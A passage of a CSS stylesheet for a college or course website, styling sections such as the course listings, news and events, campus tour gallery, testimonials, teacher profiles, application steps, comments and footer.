line-height: 20px; } /*----------------------- how study -----------------------*/ .how-study { background: #f3f6f8 } .how-study h2 { color: #2d4256; } .how-study h2 span { color: #7d8792; } .how-study ul { display: block; } .how-study ul li img { width: 100%; } .how-study ul li:hover .overly { background: rgba(0, 0, 0, 0.9); } .how-study ul li .overly { width: calc(100% - 30px); height: 100%; position: absolute; left: 15px; top: 0px; background: rgba(0, 0, 0, 0.5); transition: all 0.4s ease 0s; } .how-study ul li .cnt-block { max-width: 220px; position: absolute; bottom: 30px; left: 11%; color: #fff; } .how-study ul li .cnt-block h3 { display: block; padding-bottom: 12px; font-family: 'texgyreadventorregular'; font-size: 22px; color: #fff; line-height: 26px; position: relative; text-transform: none; } .how-study ul li .cnt-block h3:before { display: block; margin-bottom: 8px; width: 40%; height: 4px; content: " "; background: #ff9600; } .how-study ul li:nth-child(2) .cnt-block h3:before, .how-study ul li:nth-child(2) a.more:hover { background: #B82921; } .how-study ul li:nth-child(3) .cnt-block h3:before, .how-study ul li:nth-child(3) a.more:hover { background: #1876bf; } .how-study ul li .cnt-block p { display: block; font-size: 12px; line-height: 16px; opacity: 0.7; } .how-study ul li a.more { display: block; width: 24px; height: 24px; position: absolute; right: 30px; bottom: 30px; border-radius: 50%; line-height: 24px; background: #fff; font-size: 18px; color: #000; text-align: center; } .how-study ul li a.more i { margin-left: 2px; } .how-study ul li a.more:hover { background: #ff9600; color: #fff; } /*----------------------- why choose -----------------------*/ .why-choose { background: #B82921; position: relative; } .why-choose:after { width: 100%; height: 100%; display: block; position: absolute; top: 0px; z-index: 1; content: ""; background: url(../images/why-choose-bg.html) no-repeat center center / cover; opacity: 0.1; } .why-choose h2 { padding-bottom: 70px; color: #fff; } .why-choose h2 span { color: #fff; } ul.our-strength { display: block; text-align: center; } ul.our-strength li { width: 20%; display: inline-block; color: #fff; text-align: center; border-right: 1px #E26059 solid; } ul.our-strength li:last-child { border: none; } ul.our-strength li .icon { display: block; padding-bottom: 20px; } ul.our-strength li .icon span { font-size: 44px; opacity: 0.7; } ul.our-strength li span { padding-bottom: 12px; font-family: 'texgyreadventorregular'; font-size: 48px; } ul.our-strength li .couter-outer { display: block; } ul.our-strength li .title { display: block; font-family: 'texgyreadventorregular'; font-size: 14px; opacity: 0.8; text-transform: uppercase; } /*----------------------- news & events -----------------------*/ .news-events { background: #f3f6f8; } .news-events h2 { color: #2a4356; } .news-events h2 span { color: #2d4256; } .news-events ul { display: block; margin-bottom: 60px; } .news-events ul li .inner { display: block; background: #fff; box-shadow: 0px 0px 3px #c4c6c8; position: relative; } .news-events ul li .img-block { display: block; } .news-events ul li .img-block img { width: 100%; } .news-events ul li .cnt-block { display: block; padding: 40px 30px 30px 30px; background: #fff; position: relative; } .news-events ul li .cnt-block .plus-icon { display: block; width: 64px; height: 64px; line-height: 60px; text-align: center; position: absolute; right: 20px; top: -32px; background: #2c97ea; border-radius: 50%; font-size: 34px; color: #fff; box-shadow: 0px 5px 5px #c0e0f9; } .news-events ul li .cnt-block .plus-icon:hover { background: #ff9600; } .news-events ul li .cnt-block h3 { display: block; padding-bottom: 36px; font-family: 'texgyreadventorregular'; font-size: 22px; color: #41484d; line-height: 32px; text-transform: none; } .news-events figure { position: relative; } .news-events figure img { width: 100%; display: block; position: relative; } .news-events figcaption { position: absolute; top: 0; left: 0; } /* Caption Style 3 */ .cs-style-3 figure { overflow: hidden; padding-bottom: 104px; } .cs-style-3 figure img { -webkit-transition: -webkit-transform 0.4s; -moz-transition: -moz-transform 0.4s; transition: transform 0.4s; } .no-touch .cs-style-3 figure:hover img, .cs-style-3 figure.cs-hover img { -webkit-transform: translateY(-50px); -moz-transform: translateY(-50px); -ms-transform: translateY(-50px); transform: translateY(-50px); } .cs-style-3 figcaption { width: 100%; top: auto; bottom: 0px; -webkit-transform: translateY(40%); -moz-transform: translateY(40%); -ms-transform: translateY(40%); transform: translateY(40%); -webkit-transition: -webkit-transform 0.4s, opacity 0.1s 0.3s; -moz-transition: -moz-transform 0.4s, opacity 0.1s 0.3s; transition: transform 0.4s, opacity 0.1s 0.3s; } .no-touch .cs-style-3 figure:hover figcaption, .cs-style-3 figure.cs-hover figcaption { bottom: 0px; opacity: 1; -webkit-transform: translateY(0px); -moz-transform: translateY(0px); -ms-transform: translateY(0px); transform: translateY(0px); -webkit-transition: -webkit-transform 0.4s, opacity 0.1s; -moz-transition: -moz-transform 0.4s, opacity 0.1s; transition: transform 0.4s, opacity 0.1s; } .news-events ul li .bottom-block { display: block; padding: 30px 0 0 0; border-top: 1px #e8eef0 solid; font-size: 12px; color: #96adba; } .news-events ul li .date { display: block; float: left; } .news-events ul li .icon { display: block; float: left; margin-right: 10px; margin-top: 2px; } .news-events ul li .icon span { font-size: 20px !important; color: #c5d4da !important; } .news-events ul li .comment { display: block; float: right; } .news-events ul li .date span, .news-events ul li .comment span { font-weight: 700; color: #5c7e91; } .news-events .know-more-wrapper { display: block; text-align: center; position: relative; } .news-events .know-more-wrapper:after { width: 100%; height: 1px; background: #daddde; content: ""; position: absolute; left: 0px; top: 14px; z-index: 1; } .news-events .know-more { display: inline-block; padding: 0 30px; position: relative; background: #f3f6f8; z-index: 2; font-family: 'texgyreadventorbold'; font-size: 14px; color: #645847; text-transform: uppercase; } .news-events a.know-more span { margin-left: 4px; vertical-align: middle; margin-top: -2px; display: inline-block; color: #ff9600; transition: all 0.3s ease 0s; } .news-events a.know-more:hover span { color: #B82921; } /*----------------------- campus tour -----------------------*/ .campus-tour { background: #fff; padding-bottom: 0px; } .campus-tour h2 { color: #2a4356; } .campus-tour h2 span { color: #2d4256; } .campus-tour ul.gallery { display: block; } .campus-tour ul.gallery li { width: 20%; float: left; display: block; background: #000; position: relative; } .campus-tour ul.gallery li figure { transition: all 0.3s ease 0s; } .campus-tour ul.gallery li:hover figure { opacity: 0.2; } .campus-tour ul.gallery li .overlay { width: 100%; position: absolute; top: 50%; margin-top: -57px; z-index: 1; text-align: center; opacity: 0; transition: all 0.3s ease 0s; } .campus-tour ul.gallery li:hover .overlay { top: 44%; opacity: 1; } .campus-tour ul.gallery li h3 { display: block; padding-bottom: 4px; font-family: 'texgyreadventorbold'; font-size: 24px; color: #fff; text-transform: uppercase; } .campus-tour ul.gallery li p { display: block; padding-bottom: 30px; font-weight: 700; font-size: 12px; color: #fff; text-transform: uppercase; opacity: 0.5; } .campus-tour ul.gallery li a { width: 56px; height: 56px; margin: 0 8px; display: inline-block; line-height: 60px; border-radius: 50%; text-align: center; background: #ff9600; font-size: 22px; color: #fff; } .campus-tour ul.gallery li a.more { background: #B82921; } .campus-tour ul.gallery li a:hover { background: #2c97ea; } .mfp-arrow-left:before, .mfp-arrow-left:after, .mfp-arrow-right:before, .mfp-arrow-right:after { border: none; } .mfp-arrow-left:before, .mfp-arrow-right:after { width: 20px; height: 38px; display: block; content: ""; background: url(../images/popup-arrows.html) no-repeat center bottom; } .mfp-arrow-left:before { background-position: left top; } .mfp-image-holder .mfp-close, .mfp-iframe-holder .mfp-close { width: 28px; height: 28px; right: 0px; padding-right: 0px; display: block; cursor: pointer; background: url(../images/popup-close.html) no-repeat center top; text-indent: 100%; white-space: nowrap; overflow: hidden; } .mfp-zoom-out-cur, .mfp-zoom-out-cur .mfp-image-holder .mfp-close { cursor: pointer; } /*----------------------- client logos -----------------------*/ .logos ul .owl-item img { width: auto; } /*----------------------- testimonials -----------------------*/ .testimonial { display: block; background: #2e5f85; text-align: center; position: relative; } .testimonial:after { width: 100%; height: 100%; display: block; position: absolute; top: 0px; z-index: 1; content: ""; background: url(../images/testimonial-bg.html) no-repeat center top / cover; opacity: 0.15; } .testimonial .container { position: relative; z-index: 2; } .testimonial h2 { font-family: 'texgyreadventorbold'; color: #fff; } .testimonial .wrapper { display: block; max-width: 1012px; position: relative; } .testimonial .wrapper:before, .testimonial .wrapper:after { display: block; position: absolute; font-family: 'icomoon'; font-size: 48px; color: #fff; } .testimonial .wrapper:before { left: 0; top: 0; content: "\e90d"; } .testimonial .wrapper:after { right: 0; bottom: 0; content: "\e90c"; } .testimonial ul { display: block; } .testimonial ul li { display: block; } .testimonial ul li p { display: block; padding-bottom: 32px; font-family: 'texgyreadventorregular'; font-size: 23px; color: #b2d3ed; line-height: 38px; } .testimonial ul li p a { font-family: 'texgyreadventorbold'; font-size: 18px; color: #fff; } .testimonial ul li span { font-family: 'texgyreadventorregular'; font-size: 18px; color: #fff; } .testimonial ul li span span { font-size: 14px; color: #7fadd2; } .testimonial .bx-wrapper { padding-bottom: 20px; } .testimonial #bx-pager a { display: inline-block; position: relative; margin: 0 6px; } .testimonial #bx-pager a img { border: 5px solid transparent; } .testimonial #bx-pager a:hover img, .testimonial #bx-pager a.active img { border: 5px solid #ff8500; } .testimonial #bx-pager a:hover:after, .testimonial #bx-pager a.active:after { width: 0; height: 0; position: absolute; margin: 0 auto; left: 0; right: 0; top: -7px; content: " "; border-left: 9px solid transparent; border-right: 9px solid transparent; border-bottom: 10px solid #ff8500; } /* ================================================== */ /* 05. footer */ /* ================================================== */ .footer { display: block; background: #234a66; } .footer .row1 { display: block; padding-top: 60px; padding-bottom: 60px; } .footer .foot-nav { display: block; width: 25%; padding-right: 15px; float: left; } .footer .foot-nav ul li { display: block; line-height: 22px; } .footer h3 { display: block; padding-bottom: 20px; font-family: 'texgyreadventorbold'; font-size: 16px; color: #fff; text-transform: uppercase; } .footer .foot-nav ul li a { font-size: 12px; color: #8eb6d6; } .footer .foot-nav ul li a:hover { color: #fff; } .footer .footer-logo { display: block; padding-bottom: 30px; margin-bottom: 20px; border-bottom: 1px #3e6583 solid; } .footer p { font-size: 12px; color: #8eb6d6; } .footer p span { color: #fff; font-weight: 700; } .footer ul.terms { display: block; } .footer ul.terms li { display: block; float: left; font-size: 11px; font-weight: 700; } .footer ul.terms li:after { display: inline-block; padding: 0 4px; content: " I "; } .footer ul.terms li:last-child:after { display: none; } .footer ul.terms li:first-child { padding-left: 0px; } .footer ul.terms li a { color: #8eb6d6; } .footer ul.terms li a:hover { color: #fff; } .footer .bottom { display: block; padding: 40px 0; background: #2e5f85; } .footer .connect-us { display: block; padding: 0 0 18px 0; width: 95%; } .footer ul.follow-us { display: block; } .footer ul.follow-us li { display: block; padding: 0 4px; float: left; } .footer ul.follow-us li:first-child { padding-left: 0px; } .footer ul.follow-us li a { width: 40px; height: 40px; display: block; border: 2px #4d87b5 solid; border-radius: 50%; font-size: 18px; line-height: 38px; text-align: center; color: #fff; } .footer ul.follow-us li a:hover { background: #1c7bc3; border-color: #1c7bc3; } .footer .subscribe { display: block; padding: 14px 0 18px 0; width: 95%; } .footer .subscribe #mc_embed_signup{ background:#fff; border-radius:5px; } .footer .subscribe input[type='email'] { width: 80%; height: 44px; padding: 0 15px; border: none; background: none; font-size: 12px; color: #7da6c6; } .footer .subscribe input[type='email']::-webkit-input-placeholder { text-transform:none; color:#7da6c6; } .footer .subscribe input[type='email']:-moz-placeholder { /* Firefox 18- */ text-transform:none; color:#7da6c6; } .footer .subscribe input[type='email']::-moz-placeholder { /* Firefox 19+ */ text-transform:none; color:#7da6c6; } .footer .subscribe input[type='email']:-ms-input-placeholder { text-transform:none; color:#7da6c6; } .footer .subscribe .clear{ float: right; text-align:center; position:relative; background: #2c97ea; border-radius:0 5px 5px 0; transition: all 0.3s ease 0s; } .footer .subscribe .clear:before { position:absolute; margin:0 auto; left:0px; right:0px; top:9px; font-family: 'icomoon'; font-size:20px; content: "\e907"; color:#fff; z-index:1; } .footer .subscribe .clear:hover { background: #ff8500; } .footer .subscribe .clear .button { width: 46px; height: 44px; float: right; border: none; font-size: 20px; color: #fff; background:none; text-indent:-9999px; position:relative; z-index:2; border-radius: 0 4px 4px 0; transition: all 0.3s ease 0s; } .footer .instagram { display: block; padding: 14px 58px 18px 0; } .footer .instagram ul { display: block; } .footer .instagram ul li { width: 16.6%; padding: 0 2.5px; float: left; } .footer .instagram ul li a:hover { opacity: 0.7; } a.scroll-top { width: 44px; height: 44px; line-height: 40px; color: #fff; border-radius: 50%; text-align: center; position: fixed; display: none; right: 20px; bottom: 20px; background-color: #B82921; } a.scroll-top:hover { background: #ff9600; } /* ================================================== */ /* 06. about page */ /* ================================================== */ .about-right { display: block; } .about-right img { width: 100%; } .why-choose.grey-bg { background: #f3f6f8; } .why-choose.grey-bg:after { display: none; } .why-choose.grey-bg h2 { color: #2a4356; } .why-choose.grey-bg h2 span { color: #808182; } ul.our-strength.opt2 li { border-color: #dde5e9; } ul.our-strength.opt2 li span { color: #3f5044; } ul.our-strength.opt2 li .icon span { color: #B82921 } ul.our-strength.opt2 li .title { color: #9099a0; } .about-video { width: 100%; background: #081d2d; text-align: center; position: relative; z-index: 99999; } .about-video:after { width: 100%; height: 100%; display: block; position: absolute; top: 0px; z-index: 1; content: ""; background: url(../images/about-video-bg.html) no-repeat center top / cover; opacity: 0.4; } .about-video .container { display: table; height: 550px; position: relative; z-index: 2; } .about-video p { display: table-cell; vertical-align: middle; font-family: 'texgyreadventorbold'; font-size: 60px; color: #d1d3d4; } .about-video p a { color: #fff; } .about-video p a span { display: inline-block; vertical-align: middle; margin-top: -2px; } .about-video p a:hover { color: #B82921; } .browse-teacher.grey-bg { background: #f3f6f8; } .modal-content { border-radius: 0px; } .about .close, .about-video .close { position: absolute; opacity: 1; top: 0; right: 0; z-index: 2; } .about .close span, .about-video .close span { width: 36px; height: 36px; display: block; text-indent: -9999px; background: url(../images/popup-close-btn.html) no-repeat center top; } .modal { z-index: 99999; } .modal-backdrop { z-index: 9999; } /* ================================================== */ /* 07. cources listing page */ /* ================================================== */ .inner-banner { display: block; padding: 60px 0; min-height: 290px; background: url(../images/inner-banner-bg.html) no-repeat center top / cover; } .inner-banner .content { max-width:100%; } .inner-banner h1 { display: block; padding-bottom: 18px; font-family: 'texgyreadventorbold'; font-size: 46px; color: #24353b; text-transform: uppercase; } .inner-banner p { display: block; font-size: 16px; line-height: 26px; color: #5f6465; } .inner-banner a.apply-online { max-width: 246px; display: block; margin-top: 16px; margin-bottom: 26px; background: #ff9600; text-transform: uppercase; font-family: 'texgyreadventorbold'; font-size: 18px; color: #fff; position: relative; } .inner-banner a.apply-online:hover { background: #ff8800; } .inner-banner a.apply-online .left { width: 80%; float: left; padding: 20px 0 20px 24px; } .inner-banner a.apply-online .icon { display: block; padding-right: 15px; float: left; } .inner-banner a.apply-online .txt { width: 36%; float: left; line-height: 20px; } .inner-banner a.apply-online .arrow { width: 20%; height: 100%; line-height: 78px; position: absolute; right: 0px; background: #e38600; font-size: 24px; text-align: center; transition: all 0.3s ease 0s; } .inner-banner a.apply-online:hover .arrow { background: #df7600; } a.download-prospects { display: block; padding: 0 10px 10px 0; font-family: 'texgyreadventorbold'; font-size: 14px; color: #43647d; text-transform: uppercase; } a.download-prospects .icon-brochure-icon { display: block; margin-right: 15px; float: left; font-size: 29px; color: #389ceb; } a.download-prospects.brochure { background-position: left 4px; font-size: 18px; line-height: 18px; text-transform: none; color: #4f4a4a; } a.download-prospects .small { display: block; font-family: 'texgyreadventorregular'; font-size: 12px; color: #8f9ba1; line-height: 14px; text-transform: uppercase; } a.download-prospects:hover, a.download-prospects:hover span { color: #2c97ea; } .about.inner { background: none; } .about.inner .video-block { margin-bottom: 12px; } .about.inner .modal-body .video-block { margin-bottom: 0px; } .about.inner p { padding-bottom: 20px; } .about .btn-wrapper { display: block; } a.download-pros, a.download-cert { width: 50%; float: left; padding: 22px 20px; font-size: 18px; font-weight: 700; color: #fff; line-height: 20px; } a.download-pros { background: #2c97ea; border-right: 1px #fff solid; } a.download-cert { background: #f0bc01; border-left: 1px #fff solid; } a.download-pros .ico-block, a.download-cert .ico-block { display: block; padding-right: 15px; float: left; } a.download-pros .txt-block, a.download-cert .txt-block { display: block; padding-top: 4px; float: left; text-transform: uppercase; } a.download-pros .sm-txt, a.download-cert .sm-txt { display: block; font-size: 12px; text-transform: uppercase; line-height: 18px; opacity: 0.7; } a.download-pros:hover, a.download-cert:hover { background-color: #B82921; } .select-course { display: block; float: right; padding-right: 34px; } .select-course .select2.select2-container { width: 254px !important; } .select-course .select2-container .select2-selection--single { height: 48px; } .select-course .select2-container--default .select2-selection--single { background: rgba(0, 0, 0, 0.4); } .select-course .select2-container--default .select2-selection--single .select2-selection__rendered { padding-left: 20px; line-height: 48px; font-family: 'texgyreadventorregular'; color: #fff; text-transform: uppercase; } .select-course .select2-container--default .select2-selection--single .select2-selection__arrow { width: 46px; height: 46px; border-left: 1px #aaa solid; background: rgba(255, 255, 255, 0.2); } .our-cources.sub:after { background: url(../images/cources-bg1.html) no-repeat center top / cover; } .our-cources.sub h2 { padding-left: 32px; text-align: left; } .our-cources ul.inner li { margin-bottom: 140px; } .our-cources ul.inner li:before { width: 100%; height: 1px; position: absolute; left: 0px; bottom: -70px; display: block; background: #fff; content: " "; opacity: 0.3; } .our-cources ul.course-list.inner li .inner { padding: 40px 0 0 30px; } .our-cources ul.inner li:nth-child(n+9) { margin-bottom: 80px; } .our-cources ul.inner li:nth-child(n+9):before, .our-cources ul.inner li:nth-child(4n):after { display: none; } .pagination { margin: 0px; } .pagination > li > a, .pagination > li > span { font-family: 'texgyreadventorbold'; color: #8faabe; margin: 0 4px; border: none; border-radius: 50%; } .pagination > li > a:focus, .pagination > li > a:hover, .pagination > li > span:focus, .pagination > li > span:hover { background: #ff9600; color: #fff; } .pagination > li:first-child > a, .pagination > li:first-child > span, .pagination > li:last-child > a, .pagination > li:last-child > span { padding: 7px 22px; border-radius: 25px; font-size: 12px; text-transform: uppercase; } .pagination li a i { display: inline-block; vertical-align: middle; margin-top: -2px; font-size: 18px; } .pagination > li:first-child a i { margin-right: 10px; } .pagination > li:last-child a i { margin-left: 10px; } /*----------------------- browse teacher -----------------------*/ .browse-teacher { display: block; } .browse-teacher h2 { color: #2a4356; } ul.browse-teachers-list { display: block; padding-top: 20px; } ul.browse-teachers-list > li { display: block; text-align: center; border-right: 1px #e5e5e5 solid; } ul.browse-teachers-list > li:last-child { border: none; } ul.browse-teachers-list > li .inner-block { display: block; padding: 0 20px; } ul.browse-teachers-list figure { width: 124px; height: 124px; margin: 0 auto 28px; position: relative; } ul.browse-teachers-list figure:before { width: 100%; height: 100%; display: block; content: ""; position: absolute; left: 0px; right: 0px; top: 0px; background: url(../images/teacher-overlay-bg.html) no-repeat center top; } .browse-teacher.grey-bg ul.browse-teachers-list figure:before { background: url(../images/teacher-overlay-bg-grey.html) no-repeat center top; } .details-tab ul.browse-teachers-list figure:before { background: url(../images/teacher-overlay-bg-tab.html) no-repeat center top; } ul.browse-teachers-list h3 { font-family: 'texgyreadventorbold'; font-size: 14px; text-transform: uppercase; color: #414a4f; } ul.browse-teachers-list .designation { display: block; padding-bottom: 10px; font-size: 12px; font-weight: 500; } ul.browse-teachers-list p { display: block; padding: 0 20px 26px 20px; font-size: 12px; line-height: 22px; } ul.teachers-follow { display: block; } ul.teachers-follow li { display: inline-block; padding: 0 6px; } ul.teachers-follow li a { width: 30px; height: 30px; line-height: 30px; border-radius: 50%; display: block; font-size: 16px; color: #fff; text-align: center; } ul.teachers-follow li a:hover { background: #333 !important; } ul.teachers-follow li:nth-child(1) a { background: #00a0d1; } ul.teachers-follow li:nth-child(2) a { background: #0e76a8; } ul.teachers-follow li:nth-child(3) a { background: #00aff0; } /* ================================================== */ /* 08. course detail page */ /* ================================================== */ .enquire-wrapper { max-width: 438px; } .enquire-now { max-width: 405px; margin: -90px auto 0; position: relative; color: #fff; } .enquire-now .inner { padding: 40px 26px 30px 26px; background: #2c97ea; } .enquire-now .inner h3 { display: block; padding-bottom: 26px; font-family: 'texgyreadventorbold'; font-size: 24px; color: #fff; text-transform: none; } .enquire-now .inner .row1 { display: block; margin-bottom: 14px; } .enquire-now .inner input::-webkit-input-placeholder { color:#fff; } .enquire-now .inner input:-moz-placeholder { color:#fff; } .enquire-now .inner input::-moz-placeholder { color:#fff; } .enquire-now .inner input:-ms-input-placeholder { color:#fff; } .enquire-now .inner .row1 input, .enquire-now .inner .row2 input { width: 100%; height: 44px; padding: 0 15px; background: #60b1f0; font-size: 12px; text-transform: uppercase; border: 1px #fff solid; } .enquire-now .inner .row2 { display: block; margin: 0 -5px 14px -5px; } .enquire-now .inner .row2 input { width: calc(50% - 10px); margin: 0 5px; float: left; } .enquire-now .enquire-btn { width: 100%; padding: 13px 15px; font-family: 'texgyreadventorbold'; font-size: 16px; text-transform: uppercase; background: #ff9600; border: none; } .enquire-now .enquire-btn span { margin-left: 4px; font-size: 14px; opacity: 0.5; } .enquire-now .enquire-btn:hover { background: #B82921; } .cert-head { display: block; margin-top: 15px; padding-bottom: 10px; position: relative; } .cert-head:after { width: 100%; height: 1px; position: absolute; top: 10px; left: 0px; background: #d8d8d8; content: ""; } .cert-head h3 { display: inline-block; padding-right: 14px; background: #fff; font-family: 'texgyreadventorbold'; font-size: 18px; color: #211d1e; z-index: 1; position: relative; } ul.cert-list { display: block; } ul.cert-list li { width: calc(50% - 30px); float: left; padding: 14px 0 14px 28px; margin-right: 30px; font-weight: 700; border-bottom: 1px #c0c4c6 dashed; position: relative; } ul.cert-list li a.CR { color:#B82921 !important; } ul.cert-list li:before { display: block; position: absolute; left: 0px; top: 13px; font-family: 'icomoon'; font-size: 15px; color: #2c97ea; content: "\e91f"; } ul.cert-list li:nth-last-child(2), ul.cert-list li:last-child { border-bottom: none; } ul.cert-list li span { display: inline-block; margin-right: 6px; color: #2c97ea; } .course-detail { display: block; padding: 25px 40px; margin-top: 50px; border: 1px #dfe9f1 solid; } .course-detail .duration { width: 25%; min-height: 85px; padding-right: 40px; float: left; border-right: 1px #dfe9f1 solid; } .course-detail .duration.eligible { width: 34%; padding: 0 40px; } .course-detail .duration.eligible .icon { font-size: 34px; } .course-detail .duration.fee { width: 22%; padding: 0 40px; } .course-detail .duration.fee .detail { font-size: 36px; color: #B82921; } .course-detail .duration.fee .detail span { padding-bottom: 10px; } .course-detail .duration .icon { width: 67px; height: 67px; display: table; float: left; background: #edf1f4; border-radius: 50%; font-size: 38px; color: #79a2c2; text-align: center; } .course-detail .duration .icon span { display: table-cell; vertical-align: middle; } .course-detail .duration .detail { display: block; padding: 10px 0 0 16px; float: left; font-family: 'texgyreadventorbold'; font-size: 18px; color: #4f4a4a; line-height: 22px; } .course-detail .duration .detail span { display: block; font-family: 'texgyreadventorregular'; font-size: 14px; color: #8f9ba1; text-transform: uppercase; } .course-detail .btn { margin: 18px 0 0 40px; } /*----------------------- course detail tab -----------------------*/ .details-tab { display: block; padding: 50px 0 90px 0; background: #ebeff3; } #myTabs { padding: 0 30px; text-align: center; } .course-tab { margin-bottom: 50px; border-bottom: 2px #d8e0e7 solid; } .course-tab > li { width: 25%; } .course-tab > li > a { padding: 0 0 26px 0; font-family: 'texgyreadventorbold'; font-size: 18px; color: #909aa1; text-transform: uppercase; border: none !important; } .course-tab > li > a span { display: block; padding-bottom: 18px; font-size: 50px; color: #a4b1bc; } .course-tab > li > a .block { display: inline; } .course-tab > li.active > a, .course-tab > li.active > a:focus, .course-tab > li.active > a:hover, .course-tab > li > a:hover { background: none; border-bottom: 2px #B82921 solid !important; color: #B82921; } .course-tab > li.active > a span, .course-tab > li.active > a:focus span, .course-tab > li.active > a:hover span, .course-tab > li > a:hover span { color: #B82921; } .details-tab #curriculam, .details-tab #schedule { background: #fff; box-shadow: 0 0 14px #d4d9de; } #curriculam .lecture-txt { display: block; padding-bottom: 2px; font-size: 12px; color: #a5b1a8; text-transform: uppercase; } #curriculam .lecture-txt span { color: #4f5c53; } #curriculam .lecture-txt a.preview { display: inline-block; padding: 0 12px; background: #2c97ea; font-size: 11px; color: #fff; border-radius: 2px; } #curriculam .lecture-txt a.preview:hover { background: #ff9600; } .details-tab .course-table { border: 1px #d8e0e7 solid; margin: 0px; } .details-tab .course-table > thead > tr > th { padding: 11px 30px; background: #e9f4fd; font-family: 'texgyreadventorbold'; text-transform: uppercase; font-size: 14px; color: #4e5d52; border-color: #c3e1f9; } .course-table > tbody > tr > td, .course-table > tfoot > tr > td, .course-table > thead > tr > td { padding: 28px 30px; } .course-table > thead > tr, .course-table > thead > tr > td, .course-table > thead > tr > th { border: 1px #c3e1f9 solid; } .course-table > tbody > tr > td, .course-table > tbody > tr > th, .course-table > tfoot > tr > td, .course-table > tfoot > tr > th { border: 1px solid #eee; font-weight: 700; color: #707c82; } .table-col1 { display: block; padding-left: 20px; position: relative; } .table-col1:before { display: block; position: absolute; left: 0px; top: -4px; font-family: 'FontAwesome'; font-size: 18px; color: #ff9600; content: "\f105"; } #schedule .course-table > thead > tr > th:first-child { width: 55%; } #schedule .fee-amt { font-family: 'texgyreadventorbold'; font-size: 24px; color: #585d60; } #schedule ul.fee-details { display: block; padding: 5px 0 0 22px; } #schedule ul.fee-details li { display: block; padding: 8px 0; border-bottom: 1px #c9cdce dashed; font-weight: normal; position: relative; } #schedule ul.fee-details li:last-child { border-bottom: none; } #schedule ul.fee-details li:before { display: block; position: absolute; left: -22px; top: 8px; font-family: 'icomoon'; font-size: 14px; color: #2c97ea; content: "\e908"; } #semester ul.content { display: block; } #semester ul.content > li { display: block; padding: 0 0 24px 24px; margin-bottom: 24px; border-bottom: 1px #c9cdce dashed; position: relative; } #semester ul.content > li:last-child { padding-bottom: 0px; margin-bottom: 0px; } #semester ul.content > li:before { display: block; position: absolute; left: 0px; top: -2px; font-family: 'icomoon'; font-size: 16px; color: #2c97ea; content: "\e908"; } #semester ul.content > li:last-child { border-bottom: none; } #semester ul.content > li h4 { display: block; padding-bottom: 6px; font-size: 18px; font-weight: 700; color: #4c5357; } #semester ul.content > li p { display: block; line-height: 22px; } #semester ul.content > li > ul { max-width: 430px; padding: 10px 0 0 0; } #semester ul.content > li > ul > li { padding: 6px 0 6px 20px; font-size: 12px; line-height: 18px; position: relative; } #semester ul.content > li > ul > li:before { display: block; position: absolute; left: 0px; top: 8px; font-family: 'icomoon'; font-size: 12px; color: #79a2c2; content: "\e917"; } #teachers ul.browse-teachers-list > li { border-color: #dbdedf; } /*----------------------- how to apply -----------------------*/ .how-apply { display: block; } .how-apply h2 { color: #2a4356; } .how-apply ul { display: block; padding-top: 20px; padding-bottom: 70px; } .how-apply ul li { display: block; text-align: center; } .how-apply ul li:nth-child(1):after { width: 214px; height: 77px; display: block; content: ""; position: absolute; right: -120px; top: 86px; background: url(../images/dotted-arrow.html) no-repeat left top; z-index: -1; } .how-apply ul li:nth-child(2):after { width: 221px; height: 84px; display: block; content: ""; position: absolute; right: -122px; top: 32px; background: url(../images/dotted-arrow1.html) no-repeat left top; z-index: -1; } .how-apply ul li .icon-block { width: 175px; height: 175px; line-height: 175px; position: relative; display: block; margin: 0 auto; border-radius: 50%; background: #ff9600; text-align: center; transition: all 0.3s ease 0s; } .how-apply ul li .icon-block .num { width: 44px; height: 44px; position: absolute; right: -20px; top: 45px; display: block; font-family: 'texgyreadventorbold'; font-size: 18px; line-height: 44px; color: #fff; background: #2c97ea; border-radius: 50%; } .how-apply ul li:hover .icon-block, .how-apply ul li.active .icon-block { background: #3eb25c; } .how-apply ul li:hover .num, .how-apply ul li.active .num { background: #ff9600; } .how-apply ul li h3 { display: block; padding: 34px 0 25px 0; font-family: 'texgyreadventorbold'; font-size: 18px; color: #211d1e; text-transform: uppercase; } .how-apply ul li p { display: block; padding: 0 40px 0; } .how-apply .button-wrapper { display: block; text-align: center; position: relative; } .how-apply .button-wrapper:before, .how-apply .button-wrapper:after { width: calc(50% - 110px); height: 1px; background: #d8d8d8; content: ""; position: absolute; top: 50% } .how-apply .button-wrapper:before { left: 0; } .how-apply .button-wrapper:after { right: 0; } /*----------------------- comments section -----------------------*/ .comments-wrapper { display: block; background: #f3f6f8; } .comments-wrapper h2 { display: block; padding-bottom: 22px; font-family: 'texgyreadventorbold'; font-size: 24px; color: #606d87; text-transform: uppercase; border-bottom: 1px #d5d7d9 solid; position: relative; } .comments-wrapper h2:after { display: block; width: 166px; height: 1px; background: #4181b9; position: absolute; bottom: -1px; content: ""; background: #4181b9; } .comments-wrapper ul.comments { display: block; padding-top: 56px; padding-bottom: 40px; } .comments-wrapper ul.comments li { margin-bottom: 30px; } .comments-wrapper ul.comments li .com-img { width: 68px; height: 68px; float: left; } .comments-wrapper ul.comments li .com-txt { width: calc(100% - 92px); padding: 30px 60px 30px 30px; float: right; background: #fbfcfd; border: 1px #d1dadf solid; position: relative; } .comments-wrapper ul.comments li .com-txt:after, .comments-wrapper ul.comments li .com-txt:before { right: 100%; top: 30px; border: solid transparent; content: " "; height: 0; width: 0; position: absolute; } .comments-wrapper ul.comments li .com-txt:after { border-color: rgba(243, 246, 248, 0); border-right-color: #fbfcfd; border-width: 8px; margin-top: -8px; } .comments-wrapper ul.comments li .com-txt:before { border-color: rgba(209, 218, 223, 0); border-right-color: #d1dadf; border-width: 9px; margin-top: -9px; } .comments-wrapper ul.comments li .com-txt h3 { display: block; padding-bottom: 13px; font-family: 'texgyreadventorbold'; font-size: 16px; color: #4b5761; text-transform: uppercase; } .comments-wrapper ul.comments li .com-txt h3 span { padding-left: 10px; font-family: 'Roboto', sans-serif; font-size: 12px; font-weight: 700; color: #96adba; } .comments-wrapper ul.comments li .com-txt p { padding-bottom: 10px; line-height: 20px; } .comments-wrapper ul.comments li .com-txt a { font-size: 12px; font-weight: 700; color: #4181b9; text-transform: uppercase; } .comments-wrapper ul.comments li .com-txt a span { display: inline-block; vertical-align: middle; padding-right: 6px; font-size: 16px; opacity: 0.5; transition: all 0.3s ease 0s; } .comments-wrapper ul.comments li .com-txt a:hover { color: #ff9600; } .comments-wrapper ul.comments li .com-txt a:hover span { opacity: 1; } .comments-wrapper hr { margin: 0px; border-color: #d5d7d9; } .leave-comment h4 { display: block; padding: 